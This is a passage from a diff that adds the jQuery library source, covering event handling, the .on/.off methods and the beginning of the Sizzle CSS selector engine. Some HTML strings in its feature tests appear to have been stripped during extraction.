this !== document.activeElement && this.focus ) { + try { + this.focus(); + return false; + } catch ( e ) { + // Support: IE<9 + // If we error on focus to hidden element (#1486, #12518), + // let .trigger() run the handlers + } + } + }, + delegateType: "focusin" + }, + blur: { + trigger: function() { + if ( this === document.activeElement && this.blur ) { + this.blur(); + return false; + } + }, + delegateType: "focusout" + }, + + beforeunload: { + postDispatch: function( event ) { + + // Even when returnValue equals to undefined Firefox will still show alert + if ( event.result !== undefined ) { + event.originalEvent.returnValue = event.result; + } + } + } + }, + + simulate: function( type, elem, event, bubble ) { + // Piggyback on a donor event to simulate a different one. + // Fake originalEvent to avoid donor's stopPropagation, but if the + // simulated event prevents default then we do the same on the donor. + var e = jQuery.extend( + new jQuery.Event(), + event, + { type: type, + isSimulated: true, + originalEvent: {} + } + ); + if ( bubble ) { + jQuery.event.trigger( e, null, elem ); + } else { + jQuery.event.dispatch.call( elem, e ); + } + if ( e.isDefaultPrevented() ) { + event.preventDefault(); + } + } +}; + +jQuery.removeEvent = document.removeEventListener ? + function( elem, type, handle ) { + if ( elem.removeEventListener ) { + elem.removeEventListener( type, handle, false ); + } + } : + function( elem, type, handle ) { + var name = "on" + type; + + if ( elem.detachEvent ) { + + // #8545, #7054, preventing memory leaks for custom events in IE6-8 + // detachEvent needed property on element, by name of that event, to properly expose it to GC + if ( typeof elem[ name ] === core_strundefined ) { + elem[ name ] = null; + } + + elem.detachEvent( name, handle ); + } + }; + +jQuery.Event = function( src, props ) { + // Allow instantiation without the 'new' keyword + if ( !(this instanceof jQuery.Event) ) { + return new jQuery.Event( src, props ); + } + + // Event object + if ( src && src.type ) { + this.originalEvent = src; + this.type = src.type; + + // Events bubbling up the document may have been marked as prevented + // by a handler lower down the tree; reflect the correct value. + this.isDefaultPrevented = ( src.defaultPrevented || src.returnValue === false || + src.getPreventDefault && src.getPreventDefault() ) ? returnTrue : returnFalse; + + // Event type + } else { + this.type = src; + } + + // Put explicitly provided properties onto the event object + if ( props ) { + jQuery.extend( this, props ); + } + + // Create a timestamp if incoming event doesn't have one + this.timeStamp = src && src.timeStamp || jQuery.now(); + + // Mark it as fixed + this[ jQuery.expando ] = true; +}; + +// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding +// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html +jQuery.Event.prototype = { + isDefaultPrevented: returnFalse, + isPropagationStopped: returnFalse, + isImmediatePropagationStopped: returnFalse, + + preventDefault: function() { + var e = this.originalEvent; + + this.isDefaultPrevented = returnTrue; + if ( !e ) { + return; + } + + // If preventDefault exists, run it on the original event + if ( e.preventDefault ) { + e.preventDefault(); + + // Support: IE + // Otherwise set the returnValue property of the original event to false + } else { + e.returnValue = false; + } + }, + stopPropagation: function() { + var e = this.originalEvent; + + this.isPropagationStopped = returnTrue; + if ( !e ) { + return; + } + // If stopPropagation exists, run it on the original event + if ( e.stopPropagation ) { + e.stopPropagation(); + } + + // Support: IE + // Set the cancelBubble property of the original event to true + e.cancelBubble = true; + }, + stopImmediatePropagation: function() { + this.isImmediatePropagationStopped = returnTrue; + this.stopPropagation(); + } +}; + +// Create mouseenter/leave events using mouseover/out and event-time checks +jQuery.each({ + mouseenter: "mouseover", + mouseleave: "mouseout" +}, function( orig, fix ) { + jQuery.event.special[ orig ] = { + delegateType: fix, + bindType: fix, + + handle: function( event ) { + var ret, + target = this, + related = event.relatedTarget, + handleObj = event.handleObj; + + // For mousenter/leave call the handler if related is outside the target. + // NB: No relatedTarget if the mouse left/entered the browser window + if ( !related || (related !== target && !jQuery.contains( target, related )) ) { + event.type = handleObj.origType; + ret = handleObj.handler.apply( this, arguments ); + event.type = fix; + } + return ret; + } + }; +}); + +// IE submit delegation +if ( !jQuery.support.submitBubbles ) { + + jQuery.event.special.submit = { + setup: function() { + // Only need this for delegated form submit events + if ( jQuery.nodeName( this, "form" ) ) { + return false; + } + + // Lazy-add a submit handler when a descendant form may potentially be submitted + jQuery.event.add( this, "click._submit keypress._submit", function( e ) { + // Node name check avoids a VML-related crash in IE (#9807) + var elem = e.target, + form = jQuery.nodeName( elem, "input" ) || jQuery.nodeName( elem, "button" ) ? elem.form : undefined; + if ( form && !jQuery._data( form, "submitBubbles" ) ) { + jQuery.event.add( form, "submit._submit", function( event ) { + event._submit_bubble = true; + }); + jQuery._data( form, "submitBubbles", true ); + } + }); + // return undefined since we don't need an event listener + }, + + postDispatch: function( event ) { + // If form was submitted by the user, bubble the event up the tree + if ( event._submit_bubble ) { + delete event._submit_bubble; + if ( this.parentNode && !event.isTrigger ) { + jQuery.event.simulate( "submit", this.parentNode, event, true ); + } + } + }, + + teardown: function() { + // Only need this for delegated form submit events + if ( jQuery.nodeName( this, "form" ) ) { + return false; + } + + // Remove delegated handlers; cleanData eventually reaps submit handlers attached above + jQuery.event.remove( this, "._submit" ); + } + }; +} + +// IE change delegation and checkbox/radio fix +if ( !jQuery.support.changeBubbles ) { + + jQuery.event.special.change = { + + setup: function() { + + if ( rformElems.test( this.nodeName ) ) { + // IE doesn't fire change on a check/radio until blur; trigger it on click + // after a propertychange. Eat the blur-change in special.change.handle. + // This still fires onchange a second time for check/radio after blur. + if ( this.type === "checkbox" || this.type === "radio" ) { + jQuery.event.add( this, "propertychange._change", function( event ) { + if ( event.originalEvent.propertyName === "checked" ) { + this._just_changed = true; + } + }); + jQuery.event.add( this, "click._change", function( event ) { + if ( this._just_changed && !event.isTrigger ) { + this._just_changed = false; + } + // Allow triggered, simulated change events (#11500) + jQuery.event.simulate( "change", this, event, true ); + }); + } + return false; + } + // Delegated event; lazy-add a change handler on descendant inputs + jQuery.event.add( this, "beforeactivate._change", function( e ) { + var elem = e.target; + + if ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, "changeBubbles" ) ) { + jQuery.event.add( elem, "change._change", function( event ) { + if ( this.parentNode && !event.isSimulated && !event.isTrigger ) { + jQuery.event.simulate( "change", this.parentNode, event, true ); + } + }); + jQuery._data( elem, "changeBubbles", true ); + } + }); + }, + + handle: function( event ) { + var elem = event.target; + + // Swallow native change events from checkbox/radio, we already triggered them above + if ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox") ) { + return event.handleObj.handler.apply( this, arguments ); + } + }, + + teardown: function() { + jQuery.event.remove( this, "._change" ); + + return !rformElems.test( this.nodeName ); + } + }; +} + +// Create "bubbling" focus and blur events +if ( !jQuery.support.focusinBubbles ) { + jQuery.each({ focus: "focusin", blur: "focusout" }, function( orig, fix ) { + + // Attach a single capturing handler while someone wants focusin/focusout + var attaches = 0, + handler = function( event ) { + jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true ); + }; + + jQuery.event.special[ fix ] = { + setup: function() { + if ( attaches++ === 0 ) { + document.addEventListener( orig, handler, true ); + } + }, + teardown: function() { + if ( --attaches === 0 ) { + document.removeEventListener( orig, handler, true ); + } + } + }; + }); +} + +jQuery.fn.extend({ + + on: function( types, selector, data, fn, /*INTERNAL*/ one ) { + var type, origFn; + + // Types can be a map of types/handlers + if ( typeof types === "object" ) { + // ( types-Object, selector, data ) + if ( typeof selector !== "string" ) { + // ( types-Object, data ) + data = data || selector; + selector = undefined; + } + for ( type in types ) { + this.on( type, selector, data, types[ type ], one ); + } + return this; + } + + if ( data == null && fn == null ) { + // ( types, fn ) + fn = selector; + data = selector = undefined; + } else if ( fn == null ) { + if ( typeof selector === "string" ) { + // ( types, selector, fn ) + fn = data; + data = undefined; + } else { + // ( types, data, fn ) + fn = data; + data = selector; + selector = undefined; + } + } + if ( fn === false ) { + fn = returnFalse; + } else if ( !fn ) { + return this; + } + + if ( one === 1 ) { + origFn = fn; + fn = function( event ) { + // Can use an empty set, since event contains the info + jQuery().off( event ); + return origFn.apply( this, arguments ); + }; + // Use same guid so caller can remove using origFn + fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); + } + return this.each( function() { + jQuery.event.add( this, types, fn, data, selector ); + }); + }, + one: function( types, selector, data, fn ) { + return this.on( types, selector, data, fn, 1 ); + }, + off: function( types, selector, fn ) { + var handleObj, type; + if ( types && types.preventDefault && types.handleObj ) { + // ( event ) dispatched jQuery.Event + handleObj = types.handleObj; + jQuery( types.delegateTarget ).off( + handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, + handleObj.selector, + handleObj.handler + ); + return this; + } + if ( typeof types === "object" ) { + // ( types-object [, selector] ) + for ( type in types ) { + this.off( type, selector, types[ type ] ); + } + return this; + } + if ( selector === false || typeof selector === "function" ) { + // ( types [, fn] ) + fn = selector; + selector = undefined; + } + if ( fn === false ) { + fn = returnFalse; + } + return this.each(function() { + jQuery.event.remove( this, types, fn, selector ); + }); + }, + + bind: function( types, data, fn ) { + return this.on( types, null, data, fn ); + }, + unbind: function( types, fn ) { + return this.off( types, null, fn ); + }, + + delegate: function( selector, types, data, fn ) { + return this.on( types, selector, data, fn ); + }, + undelegate: function( selector, types, fn ) { + // ( namespace ) or ( selector, types [, fn] ) + return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); + }, + + trigger: function( type, data ) { + return this.each(function() { + jQuery.event.trigger( type, data, this ); + }); + }, + triggerHandler: function( type, data ) { + var elem = this[0]; + if ( elem ) { + return jQuery.event.trigger( type, data, elem, true ); + } + } +}); +/*! + * Sizzle CSS Selector Engine + * Copyright 2012 jQuery Foundation and other contributors + * Released under the MIT license + * http://sizzlejs.com/ + */ +(function( window, undefined ) { + +var i, + cachedruns, + Expr, + getText, + isXML, + compile, + hasDuplicate, + outermostContext, + + // Local document vars + setDocument, + document, + docElem, + documentIsXML, + rbuggyQSA, + rbuggyMatches, + matches, + contains, + sortOrder, + + // Instance-specific data + expando = "sizzle" + -(new Date()), + preferredDoc = window.document, + support = {}, + dirruns = 0, + done = 0, + classCache = createCache(), + tokenCache = createCache(), + compilerCache = createCache(), + + // General-purpose constants + strundefined = typeof undefined, + MAX_NEGATIVE = 1 << 31, + + // Array methods + arr = [], + pop = arr.pop, + push = arr.push, + slice = arr.slice, + // Use a stripped-down indexOf if we can't use a native one + indexOf = arr.indexOf || function( elem ) { + var i = 0, + len = this.length; + for ( ; i < len; i++ ) { + if ( this[i] === elem ) { + return i; + } + } + return -1; + }, + + + // Regular expressions + + // Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace + whitespace = "[\\x20\\t\\r\\n\\f]", + // http://www.w3.org/TR/css3-syntax/#characters + characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+", + + // Loosely modeled on CSS identifier characters + // An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors + // Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier + identifier = characterEncoding.replace( "w", "w#" ), + + // Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors + operators = "([*^$|!~]?=)", + attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace + + "*(?:" + operators + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]", + + // Prefer arguments quoted, + // then not containing pseudos/brackets, + // then attribute selectors/non-parenthetical expressions, + // then anything else + // These preferences are here to reduce the number of selectors + // needing tokenize in the PSEUDO preFilter + pseudos = ":(" + characterEncoding + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + attributes.replace( 3, 8 ) + ")*)|.*)\\)|)", + + // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter + rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ), + + rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), + rcombinators = new RegExp( "^" + whitespace + "*([\\x20\\t\\r\\n\\f>+~])" + whitespace + "*" ), + rpseudo = new RegExp( pseudos ), + ridentifier = new RegExp( "^" + identifier + "$" ), + + matchExpr = { + "ID": new RegExp( "^#(" + characterEncoding + ")" ), + "CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ), + "NAME": new RegExp( "^\\[name=['\"]?(" + characterEncoding + ")['\"]?\\]" ), + "TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ), + "ATTR": new RegExp( "^" + attributes ), + "PSEUDO": new RegExp( "^" + pseudos ), + "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), + // For use in libraries implementing .is() + // We use this for POS matching in `select` + "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) + }, + + rsibling = /[\x20\t\r\n\f]*[+~]/, + + rnative = /^[^{]+\{\s*\[native code/, + + // Easily-parseable/retrievable ID or TAG or CLASS selectors + rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, + + rinputs = /^(?:input|select|textarea|button)$/i, + rheader = /^h\d$/i, + + rescape = /'|\\/g, + rattributeQuotes = /\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g, + + // CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters + runescape = /\\([\da-fA-F]{1,6}[\x20\t\r\n\f]?|.)/g, + funescape = function( _, escaped ) { + var high = "0x" + escaped - 0x10000; + // NaN means non-codepoint + return high !== high ? + escaped : + // BMP codepoint + high < 0 ? + String.fromCharCode( high + 0x10000 ) : + // Supplemental Plane codepoint (surrogate pair) + String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); + }; + +// Use a stripped-down slice if we can't use a native one +try { + slice.call( preferredDoc.documentElement.childNodes, 0 )[0].nodeType; +} catch ( e ) { + slice = function( i ) { + var elem, + results = []; + while ( (elem = this[i++]) ) { + results.push( elem ); + } + return results; + }; +} + +/** + * For feature detection + * @param {Function} fn The function to test for native support + */ +function isNative( fn ) { + return rnative.test( fn + "" ); +} + +/** + * Create key-value caches of limited size + * @returns {Function(string, Object)} Returns the Object data after storing it on itself with + * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) + * deleting the oldest entry + */ +function createCache() { + var cache, + keys = []; + + return (cache = function( key, value ) { + // Use (key + " ") to avoid collision with native prototype properties (see Issue #157) + if ( keys.push( key += " " ) > Expr.cacheLength ) { + // Only keep the most recent entries + delete cache[ keys.shift() ]; + } + return (cache[ key ] = value); + }); +} + +/** + * Mark a function for special use by Sizzle + * @param {Function} fn The function to mark + */ +function markFunction( fn ) { + fn[ expando ] = true; + return fn; +} + +/** + * Support testing using an element + * @param {Function} fn Passed the created div and expects a boolean result + */ +function assert( fn ) { + var div = document.createElement("div"); + + try { + return fn( div ); + } catch (e) { + return false; + } finally { + // release memory in IE + div = null; + } +} + +function Sizzle( selector, context, results, seed ) { + var match, elem, m, nodeType, + // QSA vars + i, groups, old, nid, newContext, newSelector; + + if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) { + setDocument( context ); + } + + context = context || document; + results = results || []; + + if ( !selector || typeof selector !== "string" ) { + return results; + } + + if ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) { + return []; + } + + if ( !documentIsXML && !seed ) { + + // Shortcuts + if ( (match = rquickExpr.exec( selector )) ) { + // Speed-up: Sizzle("#ID") + if ( (m = match[1]) ) { + if ( nodeType === 9 ) { + elem = context.getElementById( m ); + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + if ( elem && elem.parentNode ) { + // Handle the case where IE, Opera, and Webkit return items + // by name instead of ID + if ( elem.id === m ) { + results.push( elem ); + return results; + } + } else { + return results; + } + } else { + // Context is not a document + if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) && + contains( context, elem ) && elem.id === m ) { + results.push( elem ); + return results; + } + } + + // Speed-up: Sizzle("TAG") + } else if ( match[2] ) { + push.apply( results, slice.call(context.getElementsByTagName( selector ), 0) ); + return results; + + // Speed-up: Sizzle(".CLASS") + } else if ( (m = match[3]) && support.getByClassName && context.getElementsByClassName ) { + push.apply( results, slice.call(context.getElementsByClassName( m ), 0) ); + return results; + } + } + + // QSA path + if ( support.qsa && !rbuggyQSA.test(selector) ) { + old = true; + nid = expando; + newContext = context; + newSelector = nodeType === 9 && selector; + + // qSA works strangely on Element-rooted queries + // We can work around this by specifying an extra ID on the root + // and working up from there (Thanks to Andrew Dupont for the technique) + // IE 8 doesn't work on object elements + if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) { + groups = tokenize( selector ); + + if ( (old = context.getAttribute("id")) ) { + nid = old.replace( rescape, "\\$&" ); + } else { + context.setAttribute( "id", nid ); + } + nid = "[id='" + nid + "'] "; + + i = groups.length; + while ( i-- ) { + groups[i] = nid + toSelector( groups[i] ); + } + newContext = rsibling.test( selector ) && context.parentNode || context; + newSelector = groups.join(","); + } + + if ( newSelector ) { + try { + push.apply( results, slice.call( newContext.querySelectorAll( + newSelector + ), 0 ) ); + return results; + } catch(qsaError) { + } finally { + if ( !old ) { + context.removeAttribute("id"); + } + } + } + } + } + + // All others + return select( selector.replace( rtrim, "$1" ), context, results, seed ); +} + +/** + * Detect xml + * @param {Element|Object} elem An element or a document + */ +isXML = Sizzle.isXML = function( elem ) { + // documentElement is verified for cases where it doesn't yet exist + // (such as loading iframes in IE - #4833) + var documentElement = elem && (elem.ownerDocument || elem).documentElement; + return documentElement ? documentElement.nodeName !== "HTML" : false; +}; + +/** + * Sets document-related variables once based on the current document + * @param {Element|Object} [doc] An element or document object to use to set the document + * @returns {Object} Returns the current document + */ +setDocument = Sizzle.setDocument = function( node ) { + var doc = node ? node.ownerDocument || node : preferredDoc; + + // If no document and documentElement is available, return + if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) { + return document; + } + + // Set our document + document = doc; + docElem = doc.documentElement; + + // Support tests + documentIsXML = isXML( doc ); + + // Check if getElementsByTagName("*") returns only elements + support.tagNameNoComments = assert(function( div ) { + div.appendChild( doc.createComment("") ); + return !div.getElementsByTagName("*").length; + }); + + // Check if attributes should be retrieved by attribute nodes + support.attributes = assert(function( div ) { + div.innerHTML = ""; + var type = typeof div.lastChild.getAttribute("multiple"); + // IE8 returns a string for some attributes even when not present + return type !== "boolean" && type !== "string"; + }); + + // Check if getElementsByClassName can be trusted + support.getByClassName = assert(function( div ) { + // Opera can't find a second classname (in 9.6) + div.innerHTML = ""; + if ( !div.getElementsByClassName || !div.getElementsByClassName("e").length ) { + return false; + } + + // Safari 3.2 caches class attributes and doesn't catch changes + div.lastChild.className = "e"; + return div.getElementsByClassName("e").length === 2; + }); + + // Check if getElementById returns elements by name + // Check if getElementsByName privileges form controls or returns elements by ID + support.getByName = assert(function( div ) { + // Inject content + div.id = expando + 0; + div.innerHTML = "
"; + docElem.insertBefore( div, docElem.firstChild ); + + // Test + var pass = doc.getElementsByName && + // buggy browsers will return fewer than the correct 2 + doc.getElementsByName( expando ).length === 2 + + // buggy browsers will return more than the correct 0 + doc.getElementsByName( expando + 0 ).length; + support.getIdNotName = !doc.getElementById( expando ); + + // Cleanup + docElem.removeChild( div ); + + return pass; + }); + + // IE6/7 return modified attributes + Expr.attrHandle = assert(function( div ) { + div.innerHTML = ""; + return div.firstChild && typeof div.firstChild.getAttribute !== strundefined && + div.firstChild.getAttribute("href") === "#"; + }) ? + {} : + { + "href": function( elem ) { + return elem.getAttribute( "href", 2 ); + }, + "type": function( elem ) { + return elem.getAttribute("type"); + } + }; + + // ID find and filter + if ( support.getIdNotName ) { + Expr.find["ID"] = function( id, context ) { + if ( typeof context.getElementById !== strundefined && !documentIsXML ) { + var m = context.getElementById( id ); + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + return m && m.parentNode ? [m] : []; + } + }; + Expr.filter["ID"] = function( id ) { + var attrId = id.replace( runescape, funescape ); + return function( elem ) { + return elem.getAttribute("id") === attrId; + }; + }; + } else { + Expr.find["ID"] = function( id, context ) { + if ( typeof context.getElementById !== strundefined && !documentIsXML ) { + var m = context.getElementById( id ); + + return m ? + m.id === id || typeof m.getAttributeNode !== strundefined && m.getAttributeNode("id").value === id ? + [m] : + undefined : + []; + } + }; + Expr.filter["ID"] = function( id ) { + var attrId = id.replace( runescape, funescape ); + return function( elem ) { + var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id"); + return node && node.value === attrId; + }; + }; + } + + // Tag + Expr.find["TAG"] = support.tagNameNoComments ? + function( tag, context ) { + if ( typeof context.getElementsByTagName !== strundefined ) { + return context.getElementsByTagName( tag ); + } + } : + function( tag, context ) { + var elem, + tmp = [], + i = 0, + results = context.getElementsByTagName( tag ); + + // Filter out possible comments + if ( tag === "*" ) { + while ( (elem = results[i++]) ) { + if ( elem.nodeType === 1 ) { + tmp.push( elem ); + } + } + + return tmp; + } + return results; + }; + + // Name + Expr.find["NAME"] = support.getByName && function( tag, context ) { + if ( typeof context.getElementsByName !== strundefined ) { + return context.getElementsByName( name ); + } + }; + + // Class + Expr.find["CLASS"] = support.getByClassName && function( className, context ) { + if ( typeof context.getElementsByClassName !== strundefined && !documentIsXML ) { + return context.getElementsByClassName( className ); + } + }; + + // QSA and matchesSelector support + + // matchesSelector(:active) reports false when true (IE9/Opera 11.5) + rbuggyMatches = []; + + // qSa(:focus) reports false when true (Chrome 21), + // no need to also add to buggyMatches since matches checks buggyQSA + // A support test would require too much code (would include document ready) + rbuggyQSA = [ ":focus" ]; + + if ( (support.qsa = isNative(doc.querySelectorAll)) ) { + // Build QSA regex + // Regex strategy adopted from Diego Perini + assert(function( div ) { + // Select is set to empty string on purpose + // This is to test IE's treatment of not explictly + // setting a boolean content attribute, + // since its presence should be enough + // http://bugs.jquery.com/ticket/12359 + div.innerHTML = ""; + + // IE8 - Some boolean attributes are not treated correctly + if ( !div.querySelectorAll("[selected]").length ) { + rbuggyQSA.push( "\\[" + whitespace + "*(?:checked|disabled|ismap|multiple|readonly|selected|value)" ); + } + + // Webkit/Opera - :checked should return selected option elements + // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked + // IE8 throws error here and will not see later tests + if ( !div.querySelectorAll(":checked").length ) { + rbuggyQSA.push(":checked"); + } + }); + + assert(function( div ) { + + // Opera 10-12/IE8 - ^= $= *= and empty values + // Should not select anything + div.innerHTML = ""; + if ( div.querySelectorAll("[i^='']").length ) { + rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:\"\"|'')" ); + } + + // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) + // IE8 throws error here and will not see later tests + if ( !div.querySelectorAll(":enabled").length ) { + rbuggyQSA.push( ":enabled", ":disabled" ); + } + + // Opera 10-11 does not throw on post-comma invalid pseudos + div.querySelectorAll("*,:x"); + rbuggyQSA.push(",.*:"); + }); + } + + if ( (support.matchesSelector = isNative( (matches = docElem.matchesSelector || + docElem.mozMatchesSelector || + docElem.webkitMatchesSelector || + docElem.oMatchesSelector || + docElem.msMatchesSelector) )) ) { + + assert(function( div ) { + // Check to see if it's possible to do matchesSelector + // on a disconnected node (IE 9) + support.disconnectedMatch = matches.call( div, "div" ); + + // This should fail with an exception + // Gecko does not error, returns false instead + matches.call( div, "[s!='']:x" ); + rbuggyMatches.push( "!=", pseudos ); + }); + } + + rbuggyQSA = new RegExp( rbuggyQSA.join("|") ); + rbuggyMatches = new RegExp( rbuggyMatches.join("|") ); + + // Element contains another + // Purposefully does not implement inclusive descendent + // As in, an element does not contain itself + contains = isNative(docElem.contains) || docElem.compareDocumentPosition ? + function( a, b ) { + var adown = a.nodeType === 9 ? a.documentElement : a, + bup = b && b.parentNode; + return a === bup || !!( bup && bup.nodeType === 1 && ( + adown.contains ? + adown.contains( bup ) : + a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 + )); + } : + function( a, b ) { + if ( b ) { + while ( (b = b.parentNode) ) { + if ( b === a ) { + return true; + } + } + } + return false; + }; + + // Document order sorting + sortOrder = docElem.compareDocumentPosition ? + function( a, b ) { + var compare; + + if ( a === b ) { + hasDuplicate = true; + return 0; + } + + if ( (compare = b.compareDocumentPosition && a.compareDocumentPosition && a.compareDocumentPosition( b )) ) { + if ( compare & 1 || a.parentNode && a.parentNode.nodeType === 11 ) { + if ( a === doc || contains( preferredDoc, a ) ) { + return -1; + } + if ( b === doc || contains( preferredDoc, b ) ) { + return 1; + } + return 0; + } + return compare & 4 ? -1 : 1; + } + + return a.compareDocumentPosition ? -1 : 1; + } : + function( a, b ) { + var cur, + i = 0, + aup = a.parentNode, + bup = b.parentNode, + ap = [ a ], + bp = [ b ]; + + // Exit early if the nodes are identical + if ( a === b ) { + hasDuplicate = true; + return 0; + + // Parentless nodes are either documents or disconnected + } else if ( !aup || !bup ) { + return a === doc ? -1 : + b === doc ? 1 : + aup ? -1 : + bup ? 1 : + 0; + + // If the nodes are siblings, we can do a quick check + } else if ( aup === bup ) { + return siblingCheck( a, b ); + } + + // Otherwise we need full lists of their ancestors for comparison + cur = a; + while ( (cur = cur.parentNode) ) { + ap.unshift( cur ); + } + cur = b; + while ( (cur = cur.parentNode) ) { + bp.unshift( cur ); + } + + // Walk down the tree looking for a discrepancy + while ( ap[i] === bp[i] ) { + i++; + } + + return i ? + // Do a sibling check if the nodes have a common ancestor + siblingCheck( ap[i], bp[i] ) : + + // Otherwise nodes in our document sort first + ap[i] === preferredDoc ? -1 : + bp[i] === preferredDoc ? 1 : + 0; + }; + + // Always assume the presence of duplicates if sort doesn't + // pass them to our comparison function (as in Google Chrome). + hasDuplicate = false; + [0, 0].sort( sortOrder ); + support.detectDuplicates = hasDuplicate; + + return document; +}; + +Sizzle.matches = function( expr, elements ) { + return Sizzle( expr, null, null, elements ); +}; + +Sizzle.matchesSelector = function( elem, expr ) { + // Set document vars if needed + if ( ( elem.ownerDocument || elem ) !== document ) { + setDocument( elem ); + } + + // Make sure that attribute selectors are quoted + expr = expr.replace( rattributeQuotes, "='$1']" ); + + // rbuggyQSA always contains :focus, so no need for an existence check + if ( support.matchesSelector && !documentIsXML && (!rbuggyMatches || !rbuggyMatches.test(expr)) && !rbuggyQSA.test(expr) ) { + try { + var ret = matches.call( elem, expr ); + + // IE 9's matchesSelector returns false on disconnected nodes + if ( ret || support.disconnectedMatch || + // As well, disconnected nodes are said to be in a document + // fragment in IE 9 + elem.document && elem.document.nodeType !== 11 ) { + return ret; + } + } catch(e) {} + } + + return Sizzle( expr, document, null, [elem] ).length > 0; +}; + +Sizzle.contains = function( context, elem ) { + // Set document vars if needed + if ( ( context.ownerDocument || context ) !== document ) { + setDocument( context ); + } + return contains( context, elem ); +}; + +Sizzle.attr = function( elem, name ) { + var val; + + // Set document vars if needed + if ( ( elem.ownerDocument || elem ) !== document ) { + setDocument( elem ); + } + + if ( !documentIsXML ) { + name = name.toLowerCase(); + } + if ( (val = Expr.attrHandle[ name ]) ) { + return val( elem ); + } + if ( documentIsXML || support.attributes ) { + return elem.getAttribute( name ); + } + return ( (val = elem.getAttributeNode( name )) || elem.getAttribute( name ) ) && elem[ name ] === true ? + name : + val && val.specified ? val.value : null; +}; + +Sizzle.error = function( msg ) { + throw new Error( "Syntax error, unrecognized expression: " + msg ); +}; + +// Document sorting and removing duplicates +Sizzle.uniqueSort = function( results ) { + var elem, + duplicates = [], + i = 1, + j = 0; + + // Unless we *know* we can detect duplicates, assume their presence + hasDuplicate = !support.detectDuplicates; + results.sort( sortOrder ); + + if ( hasDuplicate ) { + for ( ; (elem = results[i]); i++ ) { + if ( elem === results[ i - 1 ] ) { + j = duplicates.push( i ); + } + } + while ( j-- ) { + results.splice( duplicates[ j ], 1 ); + } + } + + return results; +}; + +function siblingCheck( a, b ) { + var cur = b && a, + diff = cur && ( ~b.sourceIndex || MAX_NEGATIVE ) - ( ~a.sourceIndex || MAX_NEGATIVE ); + + // Use IE sourceIndex if available on both nodes + if ( diff ) { + return diff; + } + + // Check if b follows a + if ( cur ) { + while ( (cur = cur.nextSibling) ) { + if ( cur === b ) { + return -1; + } + } + } + + return a ? 1 : -1; +} + +// Returns a function to use in pseudos for input types +function createInputPseudo( type ) { + return function( elem ) { + var name = elem.nodeName.toLowerCase(); + return name === "input" && elem.type === type; + }; +} + +// Returns a function to use in pseudos for buttons +function createButtonPseudo( type ) { + return function( elem ) { + var name = elem.nodeName.toLowerCase(); + return (name === "input" || name === "button") && elem.type === type; + }; +} + +// Returns a function to use in pseudos for positionals +function createPositionalPseudo( fn ) { + return markFunction(function( argument ) { + argument = +argument; + return markFunction(function( seed, matches ) { + var j, + matchIndexes = fn( [], seed.length, argument ), + i = matchIndexes.length; + + // Match elements found at the specified indexes + while ( i-- ) { + if ( seed[ (j = matchIndexes[i]) ] ) { + seed[j] = !(matches[j] = seed[j]); + } + } + }); + }); +} + +/** + * Utility function for retrieving the text value of an array of DOM nodes + * @param {Array|Element} elem + */ +getText = Sizzle.getText = function( elem ) { + var node, + ret = "", + i = 0, + nodeType = elem.nodeType; + + if ( !nodeType ) { + // If no nodeType, this is expected to be an array + for ( ; (node = elem[i]); i++ ) { + // Do not traverse comment nodes + ret += getText( node ); + } + } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { + // Use textContent for elements + // innerText usage removed for consistency of new lines (see #11153) + if ( typeof elem.textContent === "string" ) { + return elem.textContent; + } else { + // Traverse its children + for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { + ret += getText( elem ); + } + } + } else if ( nodeType === 3 || nodeType 